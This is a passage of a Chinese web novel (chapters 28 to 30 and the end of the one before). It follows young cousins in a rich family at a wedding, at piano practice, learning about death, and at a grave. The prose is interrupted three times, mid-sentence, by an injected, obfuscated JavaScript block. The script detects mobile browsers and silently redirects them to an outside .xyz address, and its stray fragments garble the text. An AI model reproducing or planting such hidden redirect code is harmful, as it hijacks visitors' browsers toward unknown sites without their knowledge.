蒋澈无奈又纵容地叹了口气:“你们俩能不能认真撒着花走完这条路?我们可是花童。” “能的,阿澈哥哥,我再给你撒一个花瓣魔法,这样你也会是永远幸福的人了!”蒋婧又跳起来往他头上撒了一把花瓣。 蒋澈侧头看她,她的皮肤在日光下呈现出一种清爽的乳白色,整齐的头发乌黑油亮地披散下来,愈发衬得她唇红齿白,此刻她的嘴角漾起两个浅浅的梨涡,笑成小月牙的眼睛又黑又亮,像会说话的星星一样。 他突然说道:“阿婧,你好像童话故事书里说的那种小精灵,有点像露珠,又有点像晨曦的感觉。” “那阿澈哥哥你是童话故事书里的王子,蒋熠就是童话故事书里的大魔王!” “凭什么我是大魔王?我也是王子!”蒋熠插嘴进来道。 “谁叫你要穿黑色的!三婶说了要统一颜色让你穿白色,你非要穿黑色。可是穿白色的才是王子!” “才不是!我才不要穿白色,白色一点都不好看!” 两个人又开始一人一句地吵起来,蒋澈淡淡地叹了口气,三言两语地命令他们:“安静,朋友们,OK?” 蒋婧和蒋熠立马威严肃正地同时喊道:“O!K!” * 典礼进行到中间,三个人又从偏台上场递上戒指,然后回归到舞台一边,算是彻底完成了花童任务。 一段感人肺腑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325335|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的发言环节后,新娘和新郎交换了戒指,在抒情浪漫的音乐和铺天盖地的花瓣中亲吻了起来。 蒋澈阻止不及让他们看到了,蒋熠和蒋婧于是一起“哇”了一声。 蒋熠看得如痴如醉、意犹未尽,拉住蒋婧说道:“我们也像他们一样结婚一下吧。” 说着,他捧住蒋婧的脸蛋,凑上来要去亲人,蒋澈一头黑线地摁着他的额头推开,警告地说道:“蒋熠,爸爸在下面看着呢,不想挨揍就别动。” 蒋熠缩回去自己的位置站好,不甘心地嘟囔道:“我也想和蒋婧亲嘴。” “只有大人可以亲嘴,而且必须结婚了才可以亲嘴。”蒋澈一本正经地向他科普。 “好吧,那蒋婧,你等我变成大人,我就来找你结婚。” “我才不想和你结婚。”蒋婧玩着玫瑰花,随口回道。 “你又不想和我当最好的朋友,又不想和我结婚,你怎么这么狠心?”他双手攒成拳头,像是这个问题对他很重要一般,满腔的激愤像一股气流那样从内心喷射出来。 “那你说,你想和谁结婚?” 这个问题十几分钟后被蒋源听到了,蒋源心里难过得快要瘫痪了,抱着闺女忍不住泪眼婆娑,动情地说道:“婧儿,我们以后不结婚啊,爸爸妈妈养你一辈子。” 小女孩穿着白纱裙,戴着白头纱,就像是翻版的迷你小新娘,刚刚在台上走一次,过分的想象差点没让当爹的心梗。 女儿结婚这种事,想都不敢想,一想就要落泪了。 蒋熠很是不理解地挠挠头,但还是善解人意地安慰地拍拍蒋源的手臂,试图让他放蒋婧下来和他一起玩。 “四叔,你别哭了,不结婚就不结婚呗,反正我们都住一块。你让蒋婧下来,我们一起去玩。” 蒋源打发他:“阿熠你先自己玩会儿哈,我得和我闺女亲热一下。” 程与英好笑地拍了一张蒋源抱着女儿猛男落泪的照片,说道:“得了,婧儿才3岁,你瞎操什么心,这会就这样应激,等真的要嫁人的时候,你不得直接恰似孟姜女哭长城。” “这一想婧儿要嫁人就心疼。”蒋源紧紧抱着蒋婧小小的柔软身躯,对她说道:“闺女,你听着,以后咱不结婚,爸爸妈妈养你一辈子,要是非要结婚,那也得是招赘婿。” 蒋婧待机了一早上,这会有些犯困,打了哈欠软软地问:“什么是招赘婿?” 蒋源一时半会儿又意识到和3岁小朋友解释不好这个问题,敛了敛情绪,哀叹了一声,说到:“算了,反正闺女你就记着,你只有爸爸妈妈哥哥在的这一个家,永远只有这一个家。” 她攀住爸爸的胳膊,找了个舒服的位置闭上眼睛:“嗯,爸爸妈妈哥哥在的家才是我的家。” 结束婚礼后,蒋源和蒋彬两家打了招呼后,就各自回家。 一众豪车停放的出口大道处,蒋怀谦和蒋向恒并肩站在一起,不约而同地望着远处花园里相对而站的两小只。 蒋向恒皱眉,手作望远镜状说道:“他们在干嘛?还不过来!” “喂!婧婧!上车回家了!”他挥手大喊了一声。 那边蒋婧回头看了一眼,没听清,但是对蒋澈说道:“阿澈哥哥,你要给我什么,你快一点,向恒哥哥在叫我了。” 蒋澈轻轻交换了一下左右脚,又清了清嗓子,不知道为何有些羞涩地掏出了一个狗尾巴草戒指。 “我想给你戴一个戒指。” “这是我刚刚和那个新郎叔叔学的。我本想向他的新娘借一下戒指给你戴一戴,但是新郎叔叔拒绝了我。不过他听到我想给你送一枚戒指,就很热心地教我用狗尾巴草编了一个。他还说,他一开始就是靠这个戒指,让他的新娘愿意嫁给自己的。” “好幸福的故事!”蒋婧伸出小小的手,让他给自己戴到中指上,然后开心地凑到头顶,逆着光看,天真无暇地说到:“阿澈哥哥,我第一次知道还有草做的戒指呢!” “嗯,不过以后我会送你不用草做的戒指的。” 草穗毛茸茸的,微微地颤动,仿佛还带着草野上的风。 “谢谢你,阿熠哥哥!我喜欢这个草戒指。”蒋婧抬头,见到那边两个哥哥又在朝她挥手,笑着说道:“不过我要先走了,我们星期一幼儿园见吧!好不好?到时候你一定要教我编狗尾巴戒指,我也要编一个送你!” 他心里暖呼呼的,点头应答:“好,星期一见。” 蒋澈看着跑远的蒋婧的背影,心里闪过了一种妙不可言的欢喜。 有妹妹可真好,还可以给她送小戒指。他见过妈妈首饰盒的其他精美的戒指,等到以后,他一定会送更多更好的戒指给她。 但是今天只有一次,他就只能送一个现学的狗尾巴戒指。 不过蒋婧看起来很喜欢,他就觉得很欣喜。 那边蒋婧跑到了两个哥哥身边,被提溜着抱上了车。 蒋怀谦看了看她手指上的毛茸茸的狗尾巴草,说道:“这就是你们刚刚在那磨蹭的原因?” 蒋婧抬高手背,说道:“是阿澈哥哥自己编的,是不是很好看?” 蒋怀谦:“狗尾巴草不好看,等回家了,我到花园里给你找些花,给你编个更漂亮的好不好?” 蒋向恒也凑上来,嫌弃地勾弄了下她手指上的狗尾巴草,说道:“这些小玩意儿就收买你啦?我和你哥哥可比他手艺好,等会回去就给你秀一秀。” 28.第28章 最初听到蒋婧说以后不用他辅导练琴的时候,蒋斐轩自认为从表情到行为,他都控制得很到位。没有过分惊讶,也没有显露出气恼,他只是淡淡地点点头表示知道了。 反正这么多年来他都是一个人练琴,没有一个叫蒋婧的小孩在旁边老守着自己,咋咋呼呼地说好厉害之类幼稚的话,他周六练琴的效率就会重新回归到以前的程度。毕竟,周末的练琴时间一向是很宝贵的。 到了下一周再在音乐中心见面时,蒋婧说起四叔给她请了一个陪练的家教钢琴老师。 “斐轩哥哥,我爸爸说唐老师是和你一个学校的,是一个特别厉害的菠萝士。” “她也是国音附小的学生吗?”蒋斐轩心里郁闷她都没叫过自己老师,为什么要叫其他人老师。 “嗯....我不记得了,但是她不是小孩,她长的已经很大了,是一个大人老师。” “可是我们学校的学生都是和我一样大的。” 蒋斐轩猜她肯定没仔细听,又回家拐着弯向妈妈打听。从蓉听到儿子转述的蒋婧的话,笑出了声,说到:“什么菠萝士,这小丫头也忒可爱了。那是个国音大学的博士生,听说你四叔担心妹妹怕生,教学效果不好,还让助理设了面试,又是筛能力又是筛品行性格的,最后才定了这个人。” 蒋斐轩面上露出某种较真的神情,问道:“国音大学的博士生会比我弹得好吗?” 从蓉作出思考状,保持着客观角度说道:“这我可说不准,虽然她已经是个博士生了,但你也从小学琴,参加了很多比赛,还被人们称作钢琴小神童。你们都是走音乐专业的学生,在专业技艺这一块,有时候并不是以年龄来评判水平的。” 蒋斐轩并不对这个答案感到满意,到了一周一次的还琴课时,把这个问题丢给了李教授。 李教授倒是泼了他一盆冷水,又打了个太极:“我只能说,你的曲目库已经远远超过了音乐学院的普通本科生,但是要跟博士生比,确实不好说。按理,一个博士生通常都有超过10年的琴龄,又经历了大量理论课程的系统学习,是学术型的演奏者,知识和经验都会比你更丰富些。不过话又说回来,斐轩你还小,手的大小、肌肉耐力这些生理机能尚未发育完全,没必要跟不和你在一个年龄阶段的演奏者比,你未来的潜力是无限而巨大的,你真正的竞争对象应该是你自己。” 老师的话仍然没有解决蒋斐轩的情绪,他还是觉得心里梗着什么,终于还是忍不住在下课后更详细地询问起蒋婧和这个博士生的情况,得到了技术之外的信息:她每天晚上都会上门陪练一小时琴,会用做游戏的方法让她不知不觉学会技巧,会在完成李教授的作业后还教她弹其他曲子,并且总是面上带着笑容,在活跃气氛上很有一套,蒋婧说什么都会接话、夸奖。 总而言之,从蒋婧的讲述中,他看得出她很喜欢这个新老师。 这个结论让他的身体里窜出一股不被表现出来的火气。 “你觉得她比我教的好吗?” 蒋婧点点头,又摇摇头,说道:“你们都教的好,谁教我都教得好。” 蒋斐轩没有吭声,一直到走出音乐中心,他才开口说让她等一会儿。走到自家的车子那,蒋斐轩从里面拿出了一个粉红色的卡通礼品袋,又气度从容地走回来,递给蒋婧。 蒋婧好奇地扒开纸袋,半个脑袋都要塞进去地看了看,惊喜地说道:“好多棒棒糖!是给我的吗?” “我妈妈说每天的吃糖额度只有一颗。我要了整整30天,才攒了这一袋给你。关于上次你来我家,我把你棒棒糖扔掉的那件事,你能不要生我的气了吗?” 蒋婧压根已经把这件事抛之脑后,不过收到道歉和礼物,总能让她一下子流露出想要和对方“天下第一好”的心情。 她动作轻快地拿出一颗糖,试图用两颗小兔门牙撕开包装袋,嘟囔着说道:“我不生气了,斐轩哥哥。” 蒋斐轩觉得她说话做事的样子总透着毛绒绒的小动物一般呆笨的软萌感,他的眼睛定定地看着她,手又自觉地从袋子里拿出一个新的撕开,把里面的棒棒糖给她,换了她嘴里咬不开的那颗。 他垂着脑袋,目光落在她脸上,深吸了口气说道:“那你以后周六还来我家,我还教你练琴。” 蒋婧含着棒棒糖,为难地摇摇头:“我不想去你家,斐轩哥哥。” “不过你可以来我家和我一起玩,爸爸把我的大钢琴专门放到了一个房间里,妈妈把这个房间装饰得特别漂亮,下次你来你就知道了,我们还可以一起弹四手联弹!我上次和唐老师一起弹,特别好玩!” 这些话让他胸口有团东西直堵在那,让人透不过气来。蒋斐轩恨不得现在就去找那个老师,和她比一比到底是谁教得更好。 “我以为我才是你学琴最好的伙伴。”蒋斐轩失望地说道。 夏日夕阳的柔和光辉散落在他的身后,为他的轮廓镀上了一层闪闪的光晕。蒋婧看着他转身离开时身上那种无言的失落,忽然感到恻然心动。 她两步并作一步追上去,挨近他,将自己的小手塞进他的手掌里,竭力温和地说道:“斐轩哥哥,你当然是我学琴最好的伙伴。” 她觉得此刻出现了一个重要的义务,就是不要让斐轩哥哥看起来这样不高兴。虽然她并不怎么明白为什么他会表现出这样若有似无的低落。 “斐轩哥哥,你和我一起回家吧,好不好?我会好好陪你玩,让你开心的。” 蒋斐轩对她的举动产生了讶异和慌乱,握触着她柔软的小手,心里勇气一股陌生又温馨的柔情。 * 把人哄到秋水庄园,蒋婧第一次萌生了“小主人”的责任感,先是在爸爸的指导下给大伯打电话说清楚哥哥在这里留下吃饭,又牵着他的手带他参观熟悉家里的布局,最后坐下吃饭的时候,还把自己最喜欢的卡通餐具给他用,为他舀汤盛饭,极尽体贴。 看到她甚至要动手喂人吃饭,坐在对面沉着脸注视了许久的蒋向恒和蒋怀谦同时开口。 “婧儿,他不用人喂饭。” “蒋斐轩,你没长手啊?” 蒋婧于是放下调羹,“那好吧。” 许是大部分的时间都泡在琴房里练琴独处,在人多的场合蒋斐轩也不习惯说很多话,又因为长相精致漂亮,年纪不大却已经形成了一番优雅清贵的气度。 程与英在饭桌上左一句右一句地夸他,给他添菜,蒋婧咬着勺子来回看,也决定加入其中夸道:“斐轩哥哥,你长得真好看~” 蒋斐轩有些反应失灵地轻呛了一声,吓得蒋婧连忙把自己的水杯递了过去。 “斐轩哥哥,你和我一起上唐老师的课吧,这样我们就可以每天都一起练琴了。” “我不需要人陪练。”蒋斐轩怕他语气显得生硬,又补充道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338947|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我知道自己需要怎么练琴。” 她拖着腮,苦恼地望望天,遗憾道:“那好吧。” “那你可以多来我家找我玩吗?斐轩哥哥。” 蒋斐轩慢条斯理地放下筷子,若有所思了几秒钟,在脑海里把自己的时间规划过了一遍,说道:“周一至周五,除去上课的时间,我还要练6小时的琴,没办法过来。周末练琴时间需要加到8小时,如果要来看你,我至少需要抽出3个小时。” “我可以周六的时候起早练琴,挤出晚上来找你玩的时间,不过也不能每周都来,也许可以一个月来找你玩两次。” 程与英听着他一板一眼的话,惊叹:“斐轩对自己这么严格自律呢?” “我爸爸说了,人和人比天赋的差距经不住时间的考验,唯有真金白银的自我锤炼,才能让自己脱颖而出。而且艺术表演是一个靠实力说话的职业,在台上能展示出多少东西,谁也帮不了你,只有台下的努力练习能帮你。” 他话音落地,是一阵很短暂的沉默。 蒋怀谦和蒋向恒都对他肃然起敬,蒋源和程与英则是更多了层心疼。 蒋源给他夹了块鸡腿,说道:“有目标能吃苦是好事,但是也千万不要把自己逼的太紧,偶尔也要给自己喘口气。今天呢,斐轩就当给自己放假休息了,好好地和妹妹和哥哥们玩,放松放松,你爸爸那四叔给你打掩护。” 蒋斐轩感激地道谢,欣然接受。不过饭后,说是要娱乐,但从心选择下来,他还是抓了蒋婧去琴房练琴。 蒋婧皱巴着脸坐在琴键前,瞅了眼正在翻谱子的人,一边四肢摊开趴在软皮琴凳上,一边希冀地劝说:“斐轩哥哥,今天唐老师都有事请假不来了,我们就不要练琴了,我们一起去游戏房里玩躲猫猫吧!” 蒋斐轩上手捏了捏她嘟起来的脸颊肉,语气平淡却不容置疑:“我很久没有听你弹琴了,检查一下,坐好。” 她有些后悔带斐轩哥哥回来了。 不过为了让他开心,蒋婧还是耐了性子,在蒋斐轩的陪伴下乖乖练了一个小时的琴。 结束后,蒋斐轩兑现承诺,牵着她的手和她一起去游戏房。行走的过程中,蒋婧说道:“斐轩哥哥,我觉得你今天教我弹琴特别温柔,你今天都夸了我好几次。” 多少有些难为情,他实际不愿意她提起,但他还是“嗯”了一声,解释道:“因为你和我不一样。” 蒋婧疑惑地“嗯?”了一下,侧头仰视过来。 他牵紧了她的手,直视前方,语气轻缓地说道:“你是妹妹,小小的,给我感觉很柔软,所以需要被呵护。我之前不应该对你太凶的。” 况且,他不想被那个国音的博士老师比下去。如果她喜欢温和耐心的老师和教学方法,他能证明自己同样可以做到,甚至做的更好。只是这样的想法,他说不出口,也不想说出口。 蒋婧圆溜溜的眼睛里浸透了满意的神色,抿着小嘴巴赞赏似的点点头,甜甜地说道:“斐轩哥哥,你那时候也没有很凶啦~” “不过你对我更好了,我就更喜欢你了!” “本来之前,我就已经很喜欢你了的,现在更喜欢你了!” 蒋斐轩稍稍愣了一下,倏忽愉快地笑起来。 他觉得如果蒋婧下定决心要让谁喜欢她的话,她必然能够不费吹灰之力就能做到。 他不就是现成的案例吗。 29.第29章 “从前有一个小姑娘,她的父母亲都死了,她穷得没有房子住,也没有床睡,最后只剩下了身上穿的衣服和手里拿的一小块面包……” 静夜里流照的月色透过玻璃窗洒落进秋水庄园三楼的左侧大卧房内,蒋向恒正抬着《格林童话》的绘本,给小小一只靠在他怀里的蒋婧读着故事。 有些字不认识,但根据“一个音节一个字”的原则,蒋婧聚精会神地把食指放在绘本的文字下,随着他的朗读移动,把这当成一种有趣的事情。 她敏锐地捕捉到没有听过的词,抬头扯了扯蒋向恒的衣服,像拉了刹车轴,让他停下声音。 “向恒哥哥,什么是死了?” 蒋向恒不假思索地回答:“死了就是人断气了,没命了,所以活着的人就会把她烧成灰,放到罐子里。” 蒋婧脸上浮现出惊恐的表情,想象着一个人被烧成灰的画面,感到不可理喻,好奇又伤心地问道:“为什么要做这么可怕的事情?” “什么可怕的事情,你给她讲什么了?”刚刚洗好澡出来的蒋怀谦擦干头发上了床,带来一阵沐浴过后的清香。 蒋向恒对着绘本努努嘴:“童话书上讲到死,她不懂,我就给她解释。” 蒋婧撇下唇角,眼里水汪汪的,用了一种格外怜悯的、煞有其事的萎靡腔调说:“向恒哥哥说,如果一个人死了,就要把他烧成灰,是真的吗?” 蒋怀谦向他投去暗含责备的一眼,抽过他手里的书关上看到封面,皱眉说道:“下次给她读安徒生吧,我总觉得格林童话的故事有些阴暗。” 蒋向恒便顺着他的意思伸手去翻床边嵌入柜里塞满的书,抽出《安徒生童话》,想了想又说道:“那不是因为这本她全听完了吗?” 爬进哥哥怀里自发找到一个舒适的姿势卧躺下的蒋婧暗自点头,附和道:“对,我都听完了,我想听这个童话。” 她指了指哥哥手里的那本大部头全集。 蒋怀谦于是翻到目录,决心挑选一个基调明亮的故事。 趁着这空挡,蒋婧又扭头扯住蒋向恒,继续询问道:“向恒哥哥,你是怎么知道人死了就会被烧成灰的?” 他双手搁在脑后躺下,回忆似的看着天花板上的枝状水晶吊灯,清清淡淡地说道:“因为我妈妈死的时候我看到了。她被裹起来,放到一个台子上,被送进了烤炉一样的墙洞里。” 蒋怀谦第一次听他提起自己的妈妈,放在目录上的注意力分散到他的话里,心下一阵默然。 “向恒哥哥,那你妈妈什么时候才能从墙洞里出来?我还不认识你的妈妈呢。” “她不会回来了啦,人死了就是你再也不能当面看到她了。”蒋向恒歉意地朝她一笑,说道。 蒋婧双目炯炯地盯着他,直把他看得有些不自在。蒋向恒出手压着她的齐刘海揉了一把小脑袋,说道:“怎么了,这朵小蘑菇。” 她前几天才被程与英带着去剪了挂耳短发,乌黑茂密的发丝柔顺地拢着皮肤白皙的小肉脸,大眼睛又圆又亮,越发显得软乎乖巧。 此时,那双黑葡萄似的眼睛里满是无法理解的苦恼。 “为什么人死了就是不能再看到她了,她去哪里了呀?到底什么是死呀?我听不懂,向恒哥哥。” 蒋怀谦接过话头,虽是搂着蒋婧同她说,目光却看向了蒋向恒。“简单的说,存在许多个世界,我们现在生活的这个世界,是被人们选出来的最好的世界。被迫离开这个世界的人,就会去到另一个世界里,所以我们才见不到了。” “另一个世界是一个坏坏的世界吗?”蒋婧双手抓着自己抬高朝上的脚丫玩,前后摇晃着,宛如一只倒置的四仰八叉的小乌龟,仰头倒看向哥哥问。 “这我不知道,但也许是个还不错的世界呢?我们之所以觉得现在的世界好,只是因为我们生活在这里。如果我们一出生就生活在另一个世界,可能我们就会觉得另一个世界好了。” “我不想去另一个世界,我喜欢现在的这个世界,因为爸爸妈妈还有你们都在这里。我也不想你们去另一个世界。” 蒋向恒挠挠她抬起的白净的脚丫,惹得她咯吱发笑,跟着弯了唇,说道:“那你可得好好吃饭,不好好吃饭就会被抓去另一个世界。” 她立马噤声,很当真地翻身坐起来,瞪大了眼睛畏惧地说道:“不好好吃饭就会被抓走吗?” 他诓骗的目的昭然若揭。蒋怀谦不想让妹妹的小脑袋瓜里出现太多负面的东西,但蒋向恒话都说出口了,只好顺着搭腔道:“嗯,所以你以后还敢不吃饭吗?” 她仰天哀叹了一声,扑进哥哥怀里,闷声闷气地回答:“不敢了嘛...” 蒋怀谦顺毛撸猫一样,摸了摸她的背,又哄道:“不用害怕,哥哥会一直保护你,不会让你被抓去另一个世界的。” 看了眼蒋向恒,他声音很轻地又继续说:“但是在另一个世界生活的我们的亲人,一定也像在这个世界一样,会过的很好。等到我们也去到另一个世界的时候,我们就会再次相见了。” “不妨这样想,他们的离去,只是先做好了迎接我们的准备。我们在各自的世界,都在期盼和想象着对方会过的很好,所以,我们应该在这个世界认真生活,才能不辜负他们的期盼。” ““是啊”,很短的一段沉默后,蒋向恒用拖长的的语调又增补一句:“老谦,你也是。” 蒋婧抬头,看看哥哥,又看看一边的向恒哥哥,摸不着头脑地安静观察了好一会儿,不明白忽然有些与众不同的氛围是从何而起。 打了个哈欠,蒋婧软软地说道:“老婧有些困了。” 蒋向恒哈哈一笑,把人捞进怀里,拍着她哄睡,朝蒋怀谦说到:“那你关灯去吧,老谦。” 蒋婧急急举手出声:“要开一个星星灯!” 蒋怀谦打开了床头的星星形状的小夜灯,才关了整个房间的大灯。他给两个人理好被子,确保蒋婧的被子没有漏风的地方后才随之躺下,忿忿开口:“你什么时候滚回自己的房间睡?” 蒋向恒勾着笑抱着蒋婧闭上眼,无所用心地回:“众所周知,我睡觉和做作业的房间是两个。” “谁是众?哪里来的周知?” “婧婧是众,婧婧知,是不是?婧婧会给我撑腰。” 夜灯圈出一小方温馨的淡淡的光亮之地,蒋婧安心地蜷在蒋向恒怀里,已经在进入梦乡的边缘,迷迷糊糊地接收到信号,她像他哄自己一样,也笨拙地拍拍他的腰身,声音低而虚地说道:“婧婧会晚安....” “晚安哥哥,晚安向恒哥哥。” “晚安婧婧宝宝。” * 第二天一大清早,夫妇俩是被门口雨点般的敲门声吵醒的。 蒋婧还穿着睡衣,脖子上挂条仿真听诊器玩具,抱着自己的小熊玩偶站在门口,望眼欲穿地看着,鼓足了劲儿敲着门喊道:“妈妈你还在吗?妈妈!” 程与英依稀听见闺女在喊自己,似醒非醒地应着。蒋源亲了口妻子,下床去开门。 “早上好,婧儿,过来给爸爸亲亲。” “早上好!爸爸!”蒋婧元气满满地扑到爸爸怀里,敷衍地亲了他一口,然后把听诊器胸件部位贴到他胸前,郑重其事地戴上耳塞说道:“爸爸,你别动,你让我听听你还有没有气。” 蒋源嘴角微微抽搐,胸腔里滚出闷雷般的笑,百依百顺地由她进行着检查。 把她抱到床上站好,他问:“怎么样,小婧医生,爸爸还有气吗?” 蒋婧伸出手掌拍拍他的胸膛,还安抚地给了一个飞吻,重重一个点头:“爸爸你放心,你没有问题,你今天不会被抓走。” 蒋源笑意不绝地摇摇头,进了洗漱间,留她和妈妈温存。 蒋婧翻进妈妈的被窝,像是确定她还在一般也听了听她的心跳,来来回回确认好几遍,这才放心地摘下听诊器。 “蒋小婧,你伟大的母亲好不容易得闲一个周六,你大清早的就来扰人清梦。” 她吸了吸程与英身上的香香味,搂紧她,用掺了蜜似的小嗓音撒娇道:“妈妈,一个晚上没有见你,我好想你啊。” 程与英嘴角快咧到耳根,闭着眼抱紧她继续养精蓄锐,拍拍她的小屁股说道:“小兔崽子今天怎么这么甜?” “妈妈,你为什么这么说,我有哪一天是苦的吗?”她顶着乱糟糟的头发钻出来,在妈妈的脖子处蹭蹭。 “嗯,确实没有哪一天是苦的,你天生是个甜甜的宝宝。” “妈妈我告诉你一个秘密。”蒋婧笑嘻嘻地把妈妈拉近,凑到她耳边说:“如果你每天给我吃两颗糖,我就会变得更甜了。就像你给树多浇水,它就会长高一样,我多被喂糖,就会长甜。” 程与英忍俊不禁,捏住她的小脸颊,顶了一下她的额头,说道:“宝宝,妈妈教你一个新成语,叫做痴心妄想。” “这是什么意思?” “意思就是,你想每天多吃一颗糖的想法呢,想一想就行了,我是不会被批准的。” 蒋婧把腿也攀到妈妈腰上,整个人像只树袋熊缠上她,噘着嘴说道:“那我会变苦的!” 程与英看了眼手机,才将将过了七点,抵挡不住困意,她轻轻拍了拍蒋婧的背,哄道:“妈妈太困了,你乖乖再陪妈妈睡会儿,好不好?” 妈妈每次这样哄她的时候,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352740|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都觉得自己像泡在温暖的泉水里一样,全身都暖呼呼的。 蒋婧一下子乖软了下来,温顺地躺好,眨着双眼睛看着妈妈的睡颜。 没一会儿,程与英便呼吸平稳地睡去。 蒋婧为她移开脸上一绺卷曲的棕褐色散发,眼里闪烁着庄重的光芒,悄声说道:“妈妈,我爱你,我会好好保护你的。” * 周末的时间,他们都会尽可能空出来,要么组织家庭活动,要么宅家陪伴三个小朋友,全然已经形成了一家五口的矩阵。 但是今天,蒋向恒奉命带着蒋婧,两个人单独留在家里。 蒋婧不高兴地质问了好几遍自己能不能也去,都被妈妈拒绝了,十足是一副“一点就要炸”的煤气罐模样。 一生气就更不愿意吃饭,程与英已经做好了威逼利诱让她吃饭的漫长斗争准备,谁知道一家人坐下各自动筷没多久,蒋婧就一个人鼓着腮帮子,一边生闷气一边往嘴里塞烤面包。 蒋源见了,好像发现了新大陆一样,兴致勃勃地说道:“今天太阳打西边出来了,婧儿不用哄就自己乖乖吃饭了,必须夸奖啊,必须夸奖!” 蒋婧幽幽看了他一眼,小小地哼了一声,嘴里塞着面包咕噜不清地说道:“不吃饭会被抓走的,爸爸,你怎么什么都不懂,这有什么大惊小怪的。” “嘀哩咕噜说的什么小孩话,爸爸没听清。” 蒋婧就着哥哥送到嘴边的牛奶把面包咽下去,顶着嘴巴上一圈奶沫子瞪着他们:“我说,你们去哪,我也要去!” “你们不让我去,我就在门口哭一天。” “我还会生气,生气一天!” 程与英面颊抽动了一下,心想早知道就不告诉她,偷偷溜走了。她头疼地劝说:“你和向恒哥哥在家玩,不好吗?” “好,可是我也想和你们一起玩。” “我们不是去玩的,宝贝。” “那是去干什么的?” 程与英担心地用余光瞟了眼儿子,一时没说话。 蒋婧觉得他们有秘密刻意瞒着自己,不理解怎么自己就被“孤立”了,这个家怎么还能有她不知道的、不能参与的事啊。 “为什么我们不能一起去?为什么要把我还有向恒哥哥抛下?”她委屈巴巴地开始掉眼泪,哭得情到深处、肝肠寸断。 蒋怀谦正在给她抹面包上的花生酱,见她突然哭了起来,连忙放下手里的东西,抽了纸巾去给她擦眼泪,怎么哄都没效果,最后只好坦白道:“今天是我生身父母的忌日,我们要去墓地看他们。婧儿会害怕的,你就乖乖在家,让向恒哥哥陪你玩,好不好?” 蒋婧息了声音,眼睛还缀着泪珠,弱弱地发问:“什么是忌日?” 蒋怀谦笑了笑,说道:“昨天晚上给你说的,你还记得吗?” 她小幅度地点点头,眨着眼睛一动不动地盯着他看。 “人去到另一个世界的那一天,就是他们的忌日。” “可是我今天早上才检查过,爸爸妈妈没有被抓走。” “是我另外的爸爸妈妈,婧儿。” 蒋婧不理解地歪歪头,脱口而出:“那你另外的爸爸妈妈,被抓走了吗?” “嗯。”蒋怀谦点点头。 “没有气了吗?” “嗯。” “被烧成灰了吗?” “嗯。” “就是、就是...就是死了吗?” “...嗯。” 蒋源迅速阻止了闺女还要问的话,起身把人抱起来,说道:“好了好了,婧儿今天如果在家表现乖乖,爸爸回来带你和向恒哥哥去商场玩具店买玩具,成不成?” 蒋婧摇摇头,趴在爸爸的肩膀上去看哥哥,说道:“我想陪哥哥一起去看他另外的爸爸妈妈。” “哥哥另外的爸爸妈妈,是不是也是我另外的爸爸妈妈?” 原本还打算严厉应对的蒋源又瞬间消了心思,他看了眼眼眶泛红的蒋怀谦,与妻子隔空默契地对视一眼。 他抱着女儿出去教解,她则坐到儿子旁边拥住了他。 蒋向恒左右各看一眼,轻叹一口气,也坐到了蒋怀谦旁边安慰起来。 “小谦,婧儿不懂,童颜无忌,妈妈替妹妹给你道歉,你别往心里去。” 蒋怀谦摇头,想到妹妹方才较真气恼的样子,破涕而笑:“不会,她只是想和我们在一起。” 蒋向恒把手臂搭在他肩膀上,说道:“要不我也去呢?我们一起去,一起去探望你的爸爸妈妈。” 程与英对上蒋怀谦看过来的目光,面上是一丝不寻常的温情,她拍拍蒋怀谦的手背,说道:“那就一起去。” 30.第30章 许是天公同感哀悼之情,天空淅淅沥沥地下起了小雨。 雨水将眼前绿草如茵的园区洗刷得明亮醒目。墓园靠山背水,内部环境清新秀丽、规整对称,拾级而上时顿让探访的人们生发出庄严肃穆的感觉。 蒋向恒抱着蒋婧站在离他们两三步之后,安静地等他们同逝者交流。 蒋婧好奇地看每块墓碑上的相貌和文字,隐隐约约地在心里生出了些别样的感受。 “向恒哥哥,人死了就会这样被埋起来,然后拥有一个大牌牌吗?” “嗯,这些大牌牌叫作墓碑,还活着的人就能来这里纪念他们。” 蒋婧试图看出立在父母墓碑前的蒋怀谦是什么表情,但即使看不见表情,哥哥那样垂肩的姿态,爸爸妈妈安抚地搭着他肩膀的动作,也让她猜想着,这个世界的人,来探望另一个世界的人,原来并不是一件非常开心的事。 可是为什么爸爸妈妈又要强颜欢笑,对着墓碑说来到这里很开心呢? 她有些想不明白,可她很想让他们不要看起来那么伤感,尤其是哥哥。 她还是第一次见哥哥这样伤心。 蒋源和程与英见过了之后,退到两个孩子那儿,把时间单独留给了蒋怀谦。 